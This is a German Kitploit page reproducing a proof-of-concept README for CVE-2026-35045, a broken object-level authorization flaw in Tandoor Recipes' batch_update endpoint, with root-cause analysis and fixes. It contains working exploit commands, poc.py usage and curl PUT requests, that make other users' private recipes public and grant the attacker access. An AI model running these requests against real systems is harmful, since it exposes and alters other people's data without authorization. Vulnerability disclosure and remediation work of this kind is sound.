Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/filipegaudard/cve-2026-35045-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & Bildung
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Proof-of-Concept-Exploit für CVE-2026-35045, eine Schwachstelle in der Objektzugriffskontrolle (broken object-level authorization) in Tandoor Recipes, die unbefugte Rezeptänderungen über den `batch_update`-API-Endpunkt demonstriert.

Repository anzeigen
116vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-35045 — Fehlerhafte Objekt-Level-Autorisierung in Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Zusammenfassung

Der Endpunkt PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 erlaubt jedem authentifizierten Benutzer innerhalb eines Space, jedes Rezept in diesem Space zu ändern — einschließlich privater Rezepte, die anderen Benutzern gehören. Dies umgeht vollständig die Objekt-Level-Autorisierungsprüfungen, die auf allen standardmäßigen Einzelrezept-Endpunkten erzwungen werden.

Die Grundursache ist eine Verhaltenslücke in Django REST Framework: Listen-Aktionen mit detail=False rufen niemals has_object_permission() auf, sondern nur has_permission(). Der Queryset filtert ausschließlich nach space=request.space, ohne Prüfung auf created_by, private oder die shared-Liste. Ein Angreifer kann private Rezepte zwangsweise offenlegen, sich selbst dauerhaften Zugriff gewähren, die Berechtigungen anderer Benutzer widerrufen und Metadaten manipulieren — alles in einem einzigen API-Aufruf, der HTTP 200 OK mit leerem Body zurückgibt.

Schwachstellendetails

FeldWert
CVE-IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel
CVSS v3.18.1 HOCH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Betroffene VersionTandoor Recipes ≤ 2.6.1
AnbieterTandoorRecipes/recipes

MITRE ATT&CK-Zuordnung

Technik-IDNameRelevanz
T1078Gültige KontenAngreifer verwendet legitime Anmeldedaten mit geringen Rechten, um die Autorisierung zu umgehen
T1565.001Manipulation gespeicherter DatenÄndern privater Rezepte und ACLs, die anderen Benutzern gehören

Analyse der Grundursache

1. detail=False umgeht Objekt-Level-Berechtigungsprüfungen

Datei: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Keine created_by- oder private-Prüfung
        )

In Django REST Framework sind Aktionen, die mit detail=False registriert werden, Listen-Aktionen. Sie rufen niemals get_object() auf, was bedeutet, dass check_object_permissions() und CustomRecipePermission.has_object_permission() nie ausgeführt werden. Nur has_permission() wird ausgeführt — das prüft die Space-Mitgliedschaft, nicht den Rezeptbesitz.

2. Standard-Endpunkte sind korrekt geschützt

PUT /api/recipe/{id}/ durchläuft den vollständigen DRF-Berechtigungsablauf:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → verweigert den Zugriff, wenn das Rezept privat ist und nicht dem Anforderer gehört/geteilt wird

Der batch_update-Endpunkt überspringt diese gesamte Kette stillschweigend.

3. Beschreibbare Felder über Batch

RecipeBatchUpdateSerializer legt die folgenden Felder offen — beschreibbar auf jedem Rezept im Space:

FeldAuswirkung
privateSichtbarkeit des Rezepts umschalten
shared_add / shared_remove / shared_setZugriffskontrollliste manipulieren
keywords_add / keywords_remove / keywords_setRezeptmetadaten ändern
working_time / waiting_timeZeitdaten des Rezepts ändern

Angriffsablauf

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Angreifer│ ─────────────────────────────────────→│  Tandoor-Server │
│ (Benutzer B)│   {"recipes":[2],"private":false,  │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space-Mitglied)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NIE AUFGERUFEN│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Keine Besitzprüfung
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Rezept-ID 2   │
                                                   │  (gehört A)    │
                                                   │  private=false ← gepatcht
                                                   │  shared=[2]  ← selbst gewährt
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Angreifer (B)  │
                                                   │ hat jetzt      │
                                                   │ vollen Zugriff │
                                                   │ auf Rezept-ID 2│
                                                   └────────────────┘

Proof of Concept

Voraussetzungen

  • Python 3.10+
  • requests-Bibliothek
root@kitploit:~
pip install requests

Verwendung

root@kitploit:~
# Privates Rezept zwangsweise offenlegen und sich selbst Zugriff gewähren (Standard)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Nur offenlegen (private=false setzen)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Nur selbst Zugriff gewähren (zur shared-Liste hinzufügen, private=true behalten)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Module / Aktionen

AktionBeschreibung
exposeSetzt private: false auf dem Zielrezept — erzwingt Sichtbarkeit für alle Space-Mitglieder
self_grantFügt die Benutzer-ID des Angreifers zu shared_add hinzu — gewährt dauerhaften Zugriff, auch wenn das Rezept privat bleibt
bothFührt beide Aktionen in einer einzigen Anfrage aus (Standard)

Manuelle Verifizierung (curl)

1. Vorbedingung — Rezept ist über den Standard-Endpunkt nicht zugänglich

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Erwartet: 404 (privat, nicht im Besitz)

2. Exploit — batch_update ohne Autorisierung

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Erwartet: HTTP 200 OK — {}

3. Nachbedingung — Rezept ist jetzt zugänglich

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Erwartet: HTTP 200 mit Rezeptdaten, private=false

4. Über die Rezeptliste verifizieren

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Erwartet: 2  <recipe_name>  False

Auswirkungen

AuswirkungsbereichBeschreibungSchweregrad
Erzwungene RezeptoffenlegungDas Setzen von private: false macht jedes Rezept für alle Space-Mitglieder sichtbarHoch
Unbefugte SelbstgewährungDas Hinzufügen der eigenen Benutzer-ID über shared_add gewährt dauerhaften Lese-/Schreibzugriff auf jedes RezeptHoch
ZugriffswiderrufVerwendung von shared_remove oder shared_set, um legitime Benutzer aus der Freigabeliste eines Rezepts zu entfernenHoch
MetadatenmanipulationÄndern von working_time, waiting_time und keywords auf Rezepten, die anderen Benutzern gehörenMittel

Behebung

Sofortige Korrektur

Den Queryset nach created_by=request.user filtern, um Batch-Operationen auf eigene Rezepte zu beschränken:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Fix: auf eigene Rezepte beschränken
        )

Verteidigung in der Tiefe

Wenn Space-Administratoren die Möglichkeit benötigen, beliebige Rezepte per Batch zu aktualisieren, eine rollenbasierte Bedingung hinzufügen:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Allgemeine Hinweise für DRF

Jede detail=False-Aktion, die auf einzelne Objekte zugreift, muss die Objekt-Level-Autorisierung manuell durchsetzen. DRFs has_object_permission() wird für Listen-Aktionen niemals aufgerufen — diese Verantwortung liegt vollständig beim Entwickler.


Referenzen

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Autorisierungsumgehung durch benutzergesteuerten Schlüssel
  • DRF — Benutzerdefinierte Aktionen & Berechtigungsprüfungen
  • OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization
  • MITRE ATT&CK T1078 — Gültige Konten
  • MITRE ATT&CK T1565.001 — Manipulation gespeicherter Daten

Haftungsausschluss

Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.


Autor

Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Tool herunterladen